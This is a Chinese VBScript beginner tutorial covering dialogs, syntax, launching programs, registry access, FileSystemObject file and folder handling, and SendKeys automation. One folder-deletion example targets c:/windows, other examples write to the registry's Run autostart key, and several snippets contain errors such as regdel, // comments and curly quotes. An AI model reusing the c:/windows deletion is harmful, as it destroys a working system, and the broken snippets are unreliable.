在 Windows 中,學習計算機操作也許很簡單,但是很多計算機工作是重複性勞動,例如你每週也許需要對一些計算機文件進行復制、粘貼、改名、刪除,也許你每天啓動
計算機第一件事情就是打開 WORD ,切換到你喜愛的輸入法進行文本編輯,同時還要播放優美的音樂給工作創造一個舒心的環境,當然也有可能你經常需要對文本中的某
些數據進行整理,把各式各樣的數據按照某種規則排列起來……。這些事情重複、瑣碎,使人容易疲勞。
第三方軟件也許可以強化計算機的某些功能,但是解決這些重複勞動往往事倍功半,我也嘗試過使用計算機語言編寫程序來解決這些問題,但是隨之而來的命令、語法、
算法、系統框架和類庫常常讓我覺得這樣是否有必要,難道就是因爲豬毛比較難拔,所以我就要去學習機械,爲自己設計一個拔豬毛機(?)嗎?
Vbs 是一種 Windows 腳本,它的全稱是 :Microsoft Visual Basic Script Editon.( 微軟公司可視化 BASIC 腳本版 ) , VBS 是 Visual Basic 的的一個抽象子集,是
系統內置的,用它編寫的腳本代碼不能編譯成二進制文件,直接由 Windows 系統執行(實際是一個叫做宿主 host 的解釋源代碼並執行),高效、易學,但是大部分高級
語言能幹的事情,它基本上都具備,它可以使各種各樣的任務自動化,可以使你從重複瑣碎的工作中解脫出來,極大的提高工作效率。
我個人認爲 Vbs 腳本其實就是一種計算機編程語言,但是由於缺少計算機程序設計語言中的部分要素,對於事件的描述能力較弱,所以稱爲腳本,它最方便的地方就是提
供了對 COM 對象的簡便支持。那麼什麼是 COM 對象呢?
我這樣理解, COM 對象就是一些具有特定函數功能項程序模塊,他們一般以 ocx 或者 dll 作爲擴展名,你只要找到包含有你需要的功能的模塊文件,並在腳本中規範的
引用,就可以實現特定的功能,也就是說 Vbs 腳本就是調用現成的“控件”作爲對象,用對象的屬性和方法實現目的,完全免去了編寫代碼、設計算法等等麻煩。說白了
,我不是覺得拔豬毛麻煩麼?我發覺 xx 機(比如真空離心器)有一個功能可以實現脫毛, ok ,我把它拿來給豬脫毛。什麼?大材小用?太浪費資源了?天哪,那是計
算機芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。
最方便的是它甚至不需要專門的開發環境,在你的計算機中,只要有 notepad ,就可以編寫 Vbs 腳本了,並且可以直接執行。
Vbs 腳本編程簡明教程之二
如何開始第一個 Vbs 腳本?
就像多數計算機教程一樣 ,我們從“ Hello World !”程序開始我們的練習。什麼?不知道是什麼意思?就是說大部分的計算機程序設計教程開篇入門都是編寫一個小
程序,執行這個程序的結果就是在計算機的屏幕上或者 dos 窗口中顯示一行文字: Hello World !好了,我們開始吧。
打開你的“記事本”程序,在編輯窗口填寫:
msgbox "Hello World!"
然後用鼠標單擊“文件”菜單,單擊“保存”,把“保存在”一欄設爲桌面,在“文件名”一欄中填寫 kk.vbs ,單擊“保存”就可以了。然後最小化“記事本”窗口,
在桌面上尋找你剛剛保存的 kk.vbs ,然後雙擊。看到彈出的對話框了沒有,單擊“確定”,對話框消失了。難看了點,不過確實是你編寫的第一個腳本程序。
說明之一:上面的操作中,保存位置放在桌面,僅僅是爲了執行方便,你保存到其他的地方完全沒有問題,只要你知道你保存在什麼地方就可以了,什麼?是廢話,自己
保存的當然知道保存在那裏了。不,自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫,不一定非要寫 kk ,只要符合 Windows 的文件命名規則就
可以了,但是擴展名必須是 vbs ,什麼 ? 不知道什麼是擴展名?就是文件名中“ . ”後的那部分,簡單說,就是 vbs 腳本文件命名時必須是: xxx.vbs ,其中 xxx
你隨意。
說明之二:在記事本編輯窗口中寫的這行是什麼意思?
Msgbox 是 VBS 內建的函數,每一個函數都可以完成一定的功能,你只需要按照語法要求,在函數的相應部分填寫相應的內容就可以了,這部分內容我們稱爲參數,當然
函數執行的結果我們稱爲返回值,一個函數可以有返回值也可以沒有,可以有參數也可以沒有。你不用瞭解函數是怎麼運作的,只要瞭解這個函數能幹什麼就行了。
Msgbox 語法: msgbox " 對話框內容 ", , " 對話框的標題 "
你不妨用記事本打開剛纔的文件在編輯窗口中輸入:
msgbox "Hello World!" , , " 系統提示 "
執行一下,看看效果和位置。
說明之三:如果執行失敗,看看你的標點符號,所有的標點符號必須是在英文狀態下輸入的。當然,這個腳本實在是太簡單了,甚至連最簡單的交互都沒有,所以你可以
把腳本這樣修改一下:
Dim name
name=Inputbox(" 請輸入你的名字 :"," 名稱 ")
Msgbox name, , " 您的名字是 "
保存執行一下,看到彈出的對話框了麼?填入你的名字,點確定,看到結果了嗎?
說明之一:第一句是定義變量, dim 是定義變量的語句
其格式爲: dim 變量 1, 變量 2 ……,
Vbs 只有一種變量類型,所以不用聲明變量類型。系統會自動分辨變量類型。
說明之二: inputbox 是 VBS 內建的函數,可以接受輸入的內容,其語法格式爲:
Inputbox(" 對話框內容 "," 對話框標題 ")
第二句的意思是接受用戶的輸入,並把輸入結果傳遞給變量 name 。
好了,到此腳本基本的輸入輸出函數都有了,已經可以完成一些比較簡單的功能了,你可以編寫一個簡單的腳本,然後拷貝的“程序”— > “啓動”中,然後重新啓動計
算機看看結果
Vbs 腳本編程簡明教程之三
Vbs 的基本語法(牢記)
VBScript 基礎知識
一、變量
1 、所有單引號後面的內容都被解釋爲註釋。
2 、在 VBScript 中,變量的命名規則遵循標準的命名規則,需要注意的是:在 VBScript 中對變量、方法、函數和對象的引用是不區分大小寫的。在申明變量時,要顯
式地申明一個變量,需要使用關鍵字 DIm 來告訴 VBScript 你要創建一個變量,並將變量名稱跟在其後。申明多個同類型變量,可以用逗號分隔。注意: VBScript 中不
允許在申明變量的時候同時給變量賦值。但是允許在一行代碼內同時對兩個變量進行賦值,中間用冒號分隔。
3 、你可以使用 OptionExplicit 來告訴宿主變量必須先聲明後使用。
4 、 VBScript 在定義時只有一種變量類型,在實際使用中需要使用類型轉換函數來將變量轉換成相應的變量類型。
Cbool 函數將變量轉換成布爾值;
Cbyte 函數將變量轉換爲 0 到 255 之間的整數。
Ccur 函數、 Cdbl 函數和 Csng 函數將變量轉換爲浮點數值,前者只精確到小數點後四位,後兩者要更加精確,數值的範圍也要大的多。
Cdate 函數將變量轉換爲日期值。
Cint 函數和 Clng 函數將變量轉換爲整數,後者的範圍比前者要大的多。
Cstr 函數將變量轉換爲字符串。
二、數組
數組的定義與變量非常類似,只需要在變量後描述這個數組的個數和維數。需要注意的是:數組的下標總是從 0 開始,而以數組定義中數值減一結束。也就是說你以要定
義一個有十個數據的數組,將這樣書寫代碼: dImarray ( 9 ),同樣,當你要訪問第五個元素時,實際的代碼是 array(4) 。當然,你可以通過不指定數組的個數和維
數來申明動態數組。等到數組的個數和維數固定後,使用關鍵字 redim 來改變數組。注意,在改變數組的大小時,數組的數據會被破壞,使用關鍵字 preserve 來保護數
據。例如:
RedIm 空格 preserve 空格 array 括號個數逗號維數括號
三、操作符
在 VBScript 運算符中,加減乘除都是我們常用的符號,乘方使用的是 ^ ,取模使用的 Mod 。
在比較操作符中,等於、小於、大於、小於等於、大於等於都與我們常用的符號是一致的,而不等於是小於和大於連用。
邏輯運算符爲:和操作— >AND 非操作— >NOT 或操作— >OR ;
你可以使用操作符 + 和操作符 & 來連接字符串,一般使用 & 操作符;
另外還有一個比較特殊的操作符 Is 用來比較對象,例如按鈕對象,如果對象是同一類型,結果就是真,如果對象不是同一類型,結果就是假。
四、條件語句主要有 if …… then 語句和 selectcase 語句兩種形式
在 if …… then 語句中,其基本形式爲:
If 條件 then
處理條件的語句;
……
Endif
基本形式只能對單個條件進行驗證,如果有兩個條件,則需要在基本形式中添加單行語句 else ,如果還有更多的條件需要驗證,則需要添加語句
Elseif 條件 then
處理條件語句
在 selectcase 語句中,其基本形式爲:
Select case 變量
Case 條件值
處理條件語句
並對上兩句進行重複
最後一句應爲
case else
處理語句
當然不要忘記將條件結束語句 End select 放在最後一行
注意:在執行字符串比較時,需要特別注意大小寫,一般情況下,我們在比較前,使用 lcase 函數將字符串轉換成小寫,使用 ucase 函數將字符串轉換成大寫大寫。
五、循環控制語句
循環控制語句有 for …… next 循環、 for …… each 循環、 do …… while 循環、 do …… until 循環、 while 循環五種形式。
在使用循環控制語句前,首先要對循環條件進行判斷,如果循環次數是有固定次數的,那麼使用 For …… next 循環,其結構爲:
For 計數器變量=開始計數值 to 最後計數值
執行循環體
Next
如果是需要對數組或對象集合中的每一個元素進行判斷,則需要使用 for …… each 循環,其結構爲:
For each 循環計數變量 in 要查看的對象或數組
執行處理語句
Next
注意:在上述兩種循環中隨時可以使用 exit for 來退出循環
如果你希望在條件滿足時執行一段代碼則使用 do …… while 語句,結構爲:
Do while 條件
執行循環體
Loop
如果你希望在條件不滿足時執行代碼,則使用 do …… until 語句,結構爲:
Do until 條件
執行循環體
Loop
當然,在這兩種循環語句中,你可以使用 exit do 來退出循環
最後一種循環語句是條件滿足時一直執行循環,
While 條件
執行循環體
Wend
六、使用過程
常用的過程有兩種,一種爲函數,給調用者返回值,一種爲子程序,無返回值,還有一種叫事件的特殊子程序,用的比較少。
函數的基本定義方法爲:
Function 函數名稱(參數列表)
函數代碼
函數名稱=某值 ‘用來返回值
end function
子程序一些都類似,不過沒有返回值
注意:儘管在定義子程序的時候,參數列表要加括號,但在調用子程序的時候,參數列表不加括號,括號只在函數中使用。另外,子程序不能在表達式中使用。
而函數只能出現在賦值語句的右邊,或者表達式中,函數不能直接使用,如果必須直接使用函數,則必須使用 call 語句調用,並取消返回值。
Vbs 腳本編程簡明教程之四
如何利用 Vbs 運行外部程序?
Vbs 只提供了編程的一個基本框架,用戶可以使用 Vbs 來定義變量、過程和函數, vbs 也提供了一些內部函數和對象,但是 Vbs 沒有提供任何命令來訪問 Windows 系
統內部的部件,但是值得慶幸的是, Vbs 雖然不能自己完成這些任務,但是它提供了一條極爲方便、功能也相當強的命令—— CreateObject ,這條命令可以訪問
windows 系統內安裝的所有 com 對象,並且可以調用這些部件中存放的命令。
於是問題解決了,比如說,我手頭有 1000 個小文本,我首先要對每一個文本的語法進行查錯和修改,然後按照預先定義好的規則對這些文本進行排序,最後將這些文本
合併成爲一個文件。正常情況下,我們需要把打開第一個小文本,然後把它複製到 WORD 中,然後利用裏面的除錯功能進行除錯和修改,然後再導入到 EXCEL 中進行排序
,將這個過程重複 1000 遍,然後再將所有得到的文本複製到一個大文本中。實在是太枯燥、工作量太大了。有了 Vbs 和 CreateObject ,問題得到解決,我只需要找到
相應的模塊,調用相應的功能就可以了,作爲腳本,把一個枯燥的過程重複 1000 次,本就是它的拿手好戲。
好了,我們走入正題,從最簡單的——只啓動一個程序開始。
WSH 也就是用來解析 Vbs 的宿主,本身包含了幾個個常用對象:
1 、 Scripting.FileSystemObject — > 提供一整套文件系統操作函數
2 、 Scripting.Dictionary — > 用來返回存放鍵值對的字典對象
3 、 Wscript.Shell — > 提供一套讀取系統信息的函數,如讀寫註冊表、查找指定文件的路徑、讀取 DOS 環境變量,讀取鏈接中的設置
4 、 Wscript.NetWork — > 提供網絡連接和遠程打印機管理的函數。(其中,所有 Scripting 對象都存放在 SCRRUN.DLL 文件中,所有的 Wscript 對象都存放在
WSHOM.ocx 文件中。)
現在我們需要的是第三個對象,好了,讓我們先連接一下對象看看,在記事本的編輯窗口中輸入:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”
同樣,保存執行。那麼看到了一個什麼樣的結果呢?在桌面上又打開了一個記事本。
說明之一: Set 是 Vbs 指令,凡是將一對象引用賦給變量,就需要使用 set 關鍵字。那麼什麼是對象引用呢?凡是字符串、數值、布爾值之外的變量都是對象引用。
Objshell 是變量名,可以隨意修改。
說明之二:反是正確引用的對象,其本身內置有函數和變量,其引用方法爲在變量後加“ . ”,後緊跟其實現功能的函數就可以了。 Objshell.run 的意思就是調用
Wscript.shell 中的運行外部程序的函數—— run , notepad 是記事本程序的文件名。當然你也可以改成“ calc ”,這是計算器的文件名, winword 是 word 的文件
名,等等吧,所有可執行文件的文件名都可以。但是需要注意的是,如果你要執行的可執行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑
名,但是 run 在運行解析時,遇到空格會停止,解決的方法是使用雙引號,例如:在我的機器上運行 qq ,代碼爲:
objshell.run """C:/Program Files/QQ2006/QQ.exe""" ‘注:三個引號
好, 我們再進一步,啓動兩個程序會如何呢?
輸入如下代碼:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”
objShell.Run “calc”
執行會如何呢?兩個程序基本上同時啓動了。如果我們需要先啓動 notepad 再啓動 calc 將如何呢?很簡單在需要順序執行的代碼後加 , , True 參數就可以了。
好了輸入代碼:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad” ,,true
objShell.Run “calc”
看看執行的結果怎麼樣吧!
總結: run 函數有三個參數,第一個參數是你要執行的程序的路徑,第二個程序是窗口的形式, 0 是在後臺運行; 1 表示正常運行; 2 表示激活程序並且顯示爲最小
化; 3 表示激活程序並且顯示爲最大化;一共有 10 個這樣的參數我只列出了 4 個最常用的。 第三個參數是表示這個腳本是等待還是繼續執行,如果設爲了 true, 腳
本就會等待調用的程序退出後再向後執行。
其實, run 做爲函數,前面還有一個接受返回值的變量,一般來說如果返回爲 0 ,表示成功執行,如果不爲 0 ,則這個返回值就是錯誤代碼,可以通過這個代碼找出相
應的錯誤。
Vbs 腳本編程簡明教程之五
錯誤處理
引發錯誤的原因有很多,例如用戶輸入了錯誤類型的值,或者腳本找不到必需的文件、目錄或者驅動器,我們可以使用循環技術來處理錯誤,但是 VBS 本身也提供了一些
基本技術來進行錯誤的檢測和處理。
1 、最常見的錯誤是運行時錯誤,也就是說錯誤在腳本正在運行的時候發生,是腳本試圖進行非法操作的結果。例如零被作爲除數。在 vbs 中,任何運行時錯誤都是致命
的,此時,腳本將停止運行,並在屏幕上顯示一個錯誤消息。你可以在腳本的開頭添加
On Error Resume Next
這行語句可以告訴 vbs 在運行時跳過發生錯誤的語句,緊接着執行跟在它後面的語句。
發生錯誤時,該語句將會把相關的錯誤號、錯誤描述和相關源代碼壓入錯誤堆棧。
2 、雖然 On Error Resume Next 語句可以防止 vbs 腳本在發生錯誤時停止運行,但是它並不能真正處理錯誤,要處理錯誤,你需要在腳本中增加一些語句,用來檢查錯
誤條件並在錯誤發生時處理它。
vbscript 提供了一個對象 err 對象,他有兩個方法 clear , raise , 5 個屬性: description , helpcontext , helpfile , number , source
err 對象不用引用實例,可以直接使用,例如:
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if
Vbs 腳本編程簡明教程之六
修改註冊表
Vbs 中修改註冊表的語句主要有:
1 、讀註冊表的關鍵詞和值:
可以通過把關鍵詞的完整路徑傳遞給 wshshell 對象的 regread 方法。例如:
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz")
wscript.echo v
2 、寫註冊表
使用 wshshell 對象的 regwrite 方法。例子:
path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","hello")
這樣就把
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/jj 這個鍵值改成了 hello. 不過要注意:這個鍵值一定要預先存在。
如果要創建一個新的關鍵詞,同樣也是用這個方法。
path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/run/sssa2000/love/"
set ws=wscript.createobject("wscript.shell")
val=ws.regwrite(path,"nenboy")
val=ws.regread(path)
wscript.echo val
刪除關鍵字和值
使用 regdelete 方法,把完整的路徑傳遞給 regdelete 就可以了
例如
val=ws.regdel(path)
注意,如果要刪除關鍵詞的值的話 一定要在路徑最後加上“ / ”,如果不加斜線,就會刪除整個關鍵詞。
Vbs 腳本編程簡明教程之七
FSO 的常見對象和方法
文件系統是所有操作系統最重要的部分之一,腳本經常會需要對文件及文件夾進行訪問和管理,在 Vbs 中對桌面和文件系統進行訪問的頂級對象是 FileSystemObject
(FSO) ,這個對象特別複雜,是 vbs 進行文件操作的核心。此節內容應瞭如指掌。
FSO 包含的常見對象有:
Drive 對象:包含儲存設備的信息,包括硬盤、光驅、 ram 盤、網絡驅動器
Drives 集合:提供一個物理和邏輯驅動器的列表
File 對象:檢查和處理文件
Files 集合:提供一個文件夾中的文件列表
Folder 對象:檢查和處理文件夾
Folders 集合:提供文件夾中子文件夾的列表
Textstream 對象:讀寫文本文件
FSO 的常見方法有:
BulidPath :把文件路徑信息添加到現有的文件路徑上
CopyFile :複製文件
CopyFolder :複製文件夾
CreateFolder :創建文件夾
CreateTextFile :創建文本並返回一個 TextStream 對象
DeleteFile :刪除文件
DeleteFolder :刪除文件夾及其中所有內容
DriveExits :確定驅動器是否存在
FileExits :確定一個文件是否存在
FolderExists :確定某文件夾是否存在
GetAbsolutePathName :返回一個文件夾或文件的絕對路徑
GetBaseName :返回一個文件或文件夾的基本路徑
GetDrive :返回一個 dreve 對象
GetDriveName :返回一個驅動器的名字
GetExtensionName :返回擴展名
GetFile :返回一個 file 對象
GetFileName :返回文件夾中文件名稱
GetFolder :返回一個文件夾對象
GetParentFolderName :返回一個文件夾的父文件夾
GetSpecialFolder: 返回指向一個特殊文件夾的對象指針
GetTempName: 返回一個可以被 createtextfile 使用的隨機產生的文件或文件夾的名稱
MoveFile :移動文件
MoveFolder :移動文件夾
OpenTextFile :打開一個存在的文件並返回一個 TextStream 對象
Vbs 腳本編程簡明教程之八
FSO 中文件夾的基本操作
1 、使用 fso
由於 fso 不是 wsh 的一部分,所以我們需要建立他的模型
例如 set fs=wscript.createobject( “ scripting.filesystemobject ” )
這樣就建立了 fso 的模型。如果要釋放的話也很簡單, set fs=nothing
2 、使用文件夾
在創建前,我們一般需要檢查該文件夾是否存在例如:
dim fs,s // 定義 fs 、 s 兩個變量
set fs=wscript.createobject( “ scripting.filesystemobject ” ) //fs 爲 FSO 實例
if (fs.folderexists( “ c:/temp ” )) then // 判斷 c:/temp 文件夾是否存在
s=”is available”
else
s=”not exist”
set foldr=fs.createfolder( “ c:/temp ” ) // 不存在則建立
end if
刪除: set fs=wscript.createobject( “ scripting.filesystemobject ” )
fs.deletefolder(“c:/windows”)
拷貝: set fs=wscript.createobject( “ scripting.filesystemobject ” )
fs.copyfolder “c:/data” “d:/data”
注意:如果 c:/data 和 d:/data 都存在,腳本會出錯,複製也就會停止,如果要強制覆蓋,使用 fs.copyfolder “ c:/data ” “ d:/data ”, true
移動: set fs=wscript.createobject( “ scripting.filesystemobject ” )
fs.movefolder “c:/data” “d:/data”
我們可以使用統配符,來方便操作:
例如, fs.movefolder :c:/data/te* ” , “ d:/working ”
注意:在目的路徑最後沒有使用“ / ” 也就是說我沒有這樣寫:
fs.movefolder c:/data/te*” , “d:/working/”
這樣寫的話,如果 d:/working 目錄不存在, windows 就不會爲我們自動創建這個目錄。
注意:上面我們所舉的例子都是在利用 fso 提供的方法,如果使用 folder 對象也完全是可以的:
set fs= wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfolder(“c:/data”)
f.delete // 刪除文件夾 c:/data 。如果有子目錄,也會被刪除
f.copy “ d:/working ” ,true // 拷貝到 d:/working
f.move “ d:/temp ” // 移動到 d:/temp
3 、特殊文件夾
一般指的就是系統文件夾: /windows/system32 , 臨時文件夾, windows 文件夾,在前幾篇的時候,我們提過一下:例如
set fs=wscript.createobject(“scripting.filesystemobject”)
set wshshell=wscript.createobject(“wscript.shell”)
osdir=wshshell.expandenvironmentstrings(“%systemroot%”)
set f =fs.getfolder(osdir)
wscript.echo f
當然,還有簡單的方法 那就是使用 getspecialfolder()
這個方法使用 3 種值:
0 表示 windows 文件夾,相關常量是 windowsfolder
1 系統文件夾,相關常量是 systemfolder
2 臨時目錄,相關常量 temporaryfolder
例如:
set fs=wscript.createobject(“scripting.filesystemobject”)
set wfolder=fs.getspecialfolder(0) ‘返回 windows 目錄
set wfolder=fs.getspecialfolder(1) ‘返回 system32/
set wfolder=fs.getspecialfolder(2)' 返回臨時目錄
Vbs 腳本編程簡明教程之九—— 1
妙用 SendKeys 簡化重複操作 1
每次開機的時候,你想自動登陸你的 QQ 或者博客嗎?巧妙使用 VBS 中的 SendKeys 命令(這個命令的作用就是模擬鍵盤操作,將一個或多個按鍵指令發送到指定
Windows 窗口來控制應用程序運行),可以極大的方便我們的常用操作。其使用格式爲:
Object.SendKeys string 其中:
Object :爲 WshShell 對象,即腳本的第一行爲:
Set WshShell=WScript.CreateObject("WScript.Shell")
將 Object 替換爲 WshShell
“ string ”:表示要發送的按鍵指令字符串,需要放在英文雙引號中。它包含如下內容:
1 .基本鍵:一般來說,要發送的按鍵指令都可以直接用該按鍵字符本身來表示,例如要發送字母“ x ”,使用“ WshShell.SendKeys "x" ”即可。當然,也可直接發
送多個按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發送按鍵“ cfan ”,可以使用
“ WshShell.SendKeys "cfan" ”。
2 .特殊功能鍵:對於需要與 Shift 、 Ctrl 、 Alt 三個控制鍵組合的按鍵, SendKeys 使用特殊字符來表示: Shift —— + ; Ctrl —— ^ ; Alt
—— %
如要發送的組合按鍵是同時按下 Ctrl + E ,需要用“ WshShell.SendKeys "^e" ”表示,如果要發送的組合按鍵是按住 Ctrl 鍵的同時按下 E 與 C 兩個鍵,這時應使
用小括號把字母鍵括起來,書寫格式爲“ WshShell.SendKeys "^(ec)" ”,這裏要注意它與“ WshShell.SendKeys "^ec" ”的區別,後者表示組合按鍵是同時按住 Ctrl
和 E 鍵,然後鬆開 Ctrl 鍵,單獨按下“ C ”字母鍵。
由於“ + ”、“ ^ ”這些字符用來表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號括住這些字符即可。例如,要發送加號“ + ”,可使用“
WshShell.SendKeys "{+}" ”。另外對於一些不會生成字符的控制功能按鍵,也同樣需要使用大括號括起來按鍵的名稱,例如要發送回車鍵,需要用“
WshShell.SendKeys "{ENTER}" ”表示,發送向下的方向鍵用
“ WshShell.SendKeys "{DOWN}" ”表示。
如果需要發送多個重複的單字母按鍵,不必重複輸入該字母, SendKeys 允許使用簡化格式進行描述,使用格式爲“ { 按鍵 數字 } ”。例如要發送 10 個字母“ x ”
,則輸入“ WshShell.SendKeys "{x 10}" ”即可。
例一: WshShell.SendKeys "^{ESC}u"
代碼的含義爲:按下 Ctrl + Esc 組合鍵(相當於按 Win 鍵)打開“開始”菜單,接着按 U 鍵打開“關機”菜單。
例二:讓 VBS 腳本自動在記事本中輸入一行文字“ hello, welcome to cfan ”。
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 2000
// 本行的含義爲是腳本暫停 2 秒,給 notepad 一個打開的時間,有時時間太短可能導致後面的字符無法進入編輯區
WshShell.AppActivate " 無標題 - 記事本
"//AppActivate 爲尋找可執行程序的標題框,”無標題-記事本”內容你的自己打開看一下
WshShell.SendKeys "hello, welcome to cfan"
作業 1: 讓腳本自動輸入下面兩段小短句
This is the most wonderful day of my life
because I'm here with you now
作業 2 :讓腳本在輸入短句後自動關閉記事本,並保存文件名爲“ test ”,注意關閉記事本可以直接使用組合按鍵 Alt + F4 來實現。
Vbs 腳本編程簡明教程之九—— 2
妙用 SendKeys 簡化重複操作 2
例三:製作能自動定時存盤的記事本
我們最常用的記事本沒有 Word 、 WPS 那樣的自動定時存盤功能,其實利用 VBS 腳本再加上 SendKeys 命令,就能彌補這個遺憾。打開記事本,輸入以下內容(爲容易
描述和分析,把代碼分爲四個部分):
' 第一部分:定義變量和對象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=300000
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox(" 請輸入你要創建的文件名 ( 不能用中文和純數字 ) : ")
' 第二部分:打開並激活記事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate " 無標題 - 記事本 "
' 第三部分:用輸入的文件名存盤
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime
' 第四部分:自動定時存盤
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
Wend
WScript.Quit
將其保存爲記事本 .vbs ,以後要使用記事本時,都通過雙擊這個腳本文件來打開。
程序說明:這個腳本的基本思路是定時向記事本發送 Ctrl + S 這個存盤組合鍵。
第一部分:定義了腳本中需要用到的變量和對象。“ AutoSaveTime ”變量用來設置自動存盤間隔,單位爲毫秒,這裏設置爲 5 分鐘。“ TXTFileName ”變量通過輸入
框取得你要創建的文本文件名稱。
第二部分:運行記事本,對於 Windows 本身提供的程序,比如計算器等,可直接在“ WshShell.Run ”後輸入程序名稱,如 "calc" ,對於非系統程序,則可輸入完全路
徑,但要注意使用 8.3 格式輸入,比如“ "D:/Progra~1/Tencent/QQ.exe" ”。
第三部分:這裏用 SendKeys 命令執行了這樣的操作流程(請注意每個操作之間延時命令的使用):在記事本中按 Ctrl + S 組合鍵→彈出保存文件的窗口→輸入文件名
→按 Alt + S 組合鍵進行保存(默認保存在“我的文檔”目錄)。
第四部分:定時存盤的關鍵,通過“ While …… Wend ”這個當條件爲“真”時循環命令,實現自動存盤代碼“ WshShell.SendKeys "^s" ”和定時代碼“
WScript.Sleep AutoSaveTime ”的重複執行。因爲不能讓這個定時存盤循環一直執行,退出記事本後,必須自動退出腳本並結束循環,所以設計了一個循環判斷條件“
WshShell.AppActivate TXTFileName=True ”,當記事本運行中時,可以激活記事本窗口,這個條件運行結果爲“ True ”,定時存盤循環一直執行,退出記事本後,腳
本無法激活記事本窗口,就會跳出循環,執行“ Wend ”後面的“ WScript.Quit ”退出腳本。
例四:快速登陸 QQ 軟件。假設 QQ 號碼是: 10001 ,密碼是: 123456 ,隱身登陸:
set ws=wscript.createobject("wscript.shell")
ws.run "C:/Progra~1/Tencent/QQ/QQ.exe",0
wscript.Sleep 2000
ws.AppActivate "QQ 用戶登錄 "
ws.SendKeys "7015247"
wscript.Sleep 200
ws.SendKeys "{TAB}"
ws.SendKeys "*********"
wscript.Sleep 200
ws.SendKeys "{ENTER}"
例五:關機菜單立刻顯身
打開記事本,輸入以下命令,並將其保存爲 1.vbs :
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}u"
雙擊運行它,你會發現關機菜單立刻出現了。
將“ WshShell.SendKeys "^{ESC}u" ”改爲“ WshShell.SendKeys "^+{ESC}" ”,運行一下看看是否打開了任務管理器
Vbs 腳本編程簡明教程之九—— 3
妙用 SendKeys 自動上網並登陸博客 3
將下面的腳本複製到一個文本文件中,並將其文件名命名爲:自動登陸 .vbs ,然後將撥號軟件及本腳本一起復制到程序——啓動項中,就可以實現自動撥號上網,並登
陸到博客上。
代碼如下:
Set wshshell=CreateObject("wscript.shell")
wshshell.AppActivate " 連接 MAE-301U 撥號連接 "
wscript.Sleep 20000
wshshell.SendKeys "{enter}"
wshshell.Run "iexplore"
WScript.Sleep 2000
wshshell.AppActivate "hao123 網址之家 --- 實用網址 , 搜索大全 , 盡在 http://www.hao123.com/ - Microsoft Internet Explorer" ' 引號中的內容修改爲你的瀏
覽器打開後標題欄中的內容
wshshell.SendKeys "%d"
wshshell.SendKeys "http://passport.baidu.com/?login"
wshshell.SendKeys "{enter}"
WScript.Sleep 2000
wshshell.SendKeys " 此處修改爲博客帳號 "
wshshell.SendKeys "{tab}"
wshshell.SendKeys " 此處修改爲博客密碼 "
wshshell.SendKeys "{enter}"
'wshshell.SendKeys "%d"
Vbs 腳本常用的編輯器當然是 notapad ,不過這個編輯器的功能當然實在是太弱了一點,其實有很多的專用的腳本編輯器可以大大方便 vbs 腳本的編寫。我常用的有兩
種 :
1 、 VBSEDit 漢化版
2 、 primalscript 漢化版,可以對 30 多種腳本進行編輯
Vbs 腳本編程簡明教程之十一
FSO 中文件的基本操作
一、文件屬性:
在 windows 中,文件的屬性一般用數字來表示:
0 代表 normal ,即普通文件未設置任何屬性。 1 代表只讀文件。
2 代表隱藏文件。 4 代表系統文件。 16 代表文件夾或目錄。
32 代表存檔文件。 1024 代表鏈接或快捷方式。例如:
set fs=wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfile(“d:/index.txt”)
msgbox f.Attributes ‘ attributes 函數的作用是顯示文件屬性
需要說明的是: msgbox 顯示的結果往往不是上面說明的數字,而是有關屬性代表數字的和
二、創建文件: object.createtextfile 方法,注意創建前一般需要檢查文件是否存在。
例如: set fso=wscript.createobject( “ scripting.filesystemobject ” )
if fso.fileexists(“c:/kk.txt”) then
msgbox “文件已存在”
else
set f=fso.createtextfile(“c:/kk.txt”)
end if
如需要強制覆蓋已存在的文件,則在文件名後加 true 參數。
三、複製、移動、刪除文件:使用 copyfile 方法、 movefile 方法、 deletefile 方法。例如:
set fso=wscript.createobject(“scripting.filesystemobject”)
fso.copyfile “ c:/kk.txt ” , ” d:/1/kk.txt ” ,true // 如上文說述, true 代表強制覆蓋
fso.movefile “ c:/kk.txt ” , “ d:/ ” // 移動文件
fso.deletefile “ c:/kk.txt ” // 刪除文件
四、文件的讀寫:
1 、打開文件:使用 opentextfile 方法
如: set ts=fso.opentextfile( “ c:/kk.txt ” ,1,true)
說明:第二個參數爲訪問模式 1 爲只讀、 2 寫入、 8 爲追加
第三個參數指定如文件不存在則創建。
2 、讀取文件: read(x) 讀 x 個字符; readline 讀一行; readall 全部讀取
如: set ffile=fso.opentextfile( “ c:/kk.txt ” ,1,true)
value=ffile.read(20)
line=ffile.readline
contents=ffile.readall
3 、常見的指針變量:
atendofstream 屬性:當處於文件結尾的時候這個屬性返回 true 。一般用循環檢測是否到達文件末尾。例如:
